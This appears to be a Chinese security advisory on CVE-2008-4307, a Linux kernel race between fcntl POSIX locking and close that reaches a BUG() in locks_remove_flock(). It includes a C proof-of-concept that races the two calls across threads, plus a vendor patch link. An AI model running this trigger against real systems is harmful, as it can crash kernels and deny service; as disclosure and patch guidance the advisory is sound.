安全研究

安全漏洞
Linux Kernel locks_remove_flock()本地竞争条件漏洞

发布日期:2009-01-13
更新日期:2009-01-14

受影响系统:
Linux kernel 2.6.x
不受影响系统:
Linux kernel 2.6.25.6
描述:
BUGTRAQ  ID: 33237
CVE(CAN) ID: CVE-2008-4307

Linux Kernel是开放源码操作系统Linux所使用的内核。

RHEL4/5内核处理POSIX锁定时fcntl调用可能与关闭相同文件描述符出现竞争,本地攻击者可以利用这个漏洞导致拒绝服务或获得权限提升。

fcntl以如下方式获得POSIX锁定:

sys_fcntl()
    fget()
    do_fcntl()
        fcntl_setlk()
    fput()
        if(!count) __fput()
            locks_remove_flock()

fcntl_setlk()调用可能阻塞很长时间,允许同一进程中的其他线程关闭文件描述符:

sys_close()
    filp_close()
        locks_remove_posix()
        fput()
            if(!count) __fput()
                locks_remove_flock()

如果其中一个线程仍在fcntl_setlk中阻断期间但在许可锁定之前(在将file_lock结构放置到inode的i_lock列表之前)从另一个线程关闭了文件描述符,关闭路径中的locks_remove_posix调用就会错过POSIX锁定。此时还无法调用locks_remove_flock,因为fcntl_setlk中线程仍持有对文件的引用。

当__fput调用locks_remove_flock时,sys_fcntl返回路径的最终fput可以触发漏洞:

/*
* This function is called on the last close of an open file.
*/
void locks_remove_flock(struct file *filp)
{
[...]
        while ((fl = *before) != NULL) {
                if (fl->fl_file == filp) {
                        if (IS_FLOCK(fl)) {
                                locks_delete_lock(before);
                                continue;
                        }
                        if (IS_LEASE(fl)) {
                                lease_modify(before, F_UNLCK);
                                continue;
                        }
                        if (IS_POSIX(fl))
                                continue;
                        /* What? */
                        BUG(); <----
                }
                before = &fl->fl_next;
        }
        unlock_kernel();
}

<*来源:Eugene Teo (eugeneteo@eugeneteo.net
  
  链接:https://bugzilla.redhat.com/show_bug.cgi?format=multiple&id=456282
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#include <sys/stat.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>

int fd;

pthread_t other_thread;

void *other_thread_routine(void *dummy_arg)
{
    struct flock fl;

    fl.l_type   = F_RDLCK;
    fl.l_whence = SEEK_SET;
    fl.l_start  = 0;
    fl.l_len    = 1;

    if (fcntl(fd, F_SETLK, &fl) == -1) {
        perror("fcntl lock");
        goto out;
    }

    fl.l_type   = F_UNLCK;

    if (fcntl(fd, F_SETLK, &fl) == -1)
        perror("fcntl unlock");
out:
    return (void *)0;
}

main(int argc, char *argv[])
{
    pid_t pid;
    int i, ret;

    if ((fd = open(argv[1], O_RDONLY)) == -1) {
        perror("open");
        exit(1);
    }

    system("service nfs stop");

    ret = pthread_create(&other_thread,
                         (pthread_attr_t *)0,
                         other_thread_routine,
                         (void *)0);
    if (ret) {
        perror("pthread_create");
        exit(1);
    }

    sleep(1);

    if (close(fd) == -1) {
        perror("close");
        exit(1);
    }
}

建议:
厂商补丁:

Linux
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.kernel.org/pub/linux/kernel/v2.6/snapshots/old/patch-2.6.25-git6.log

浏览次数:2867
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障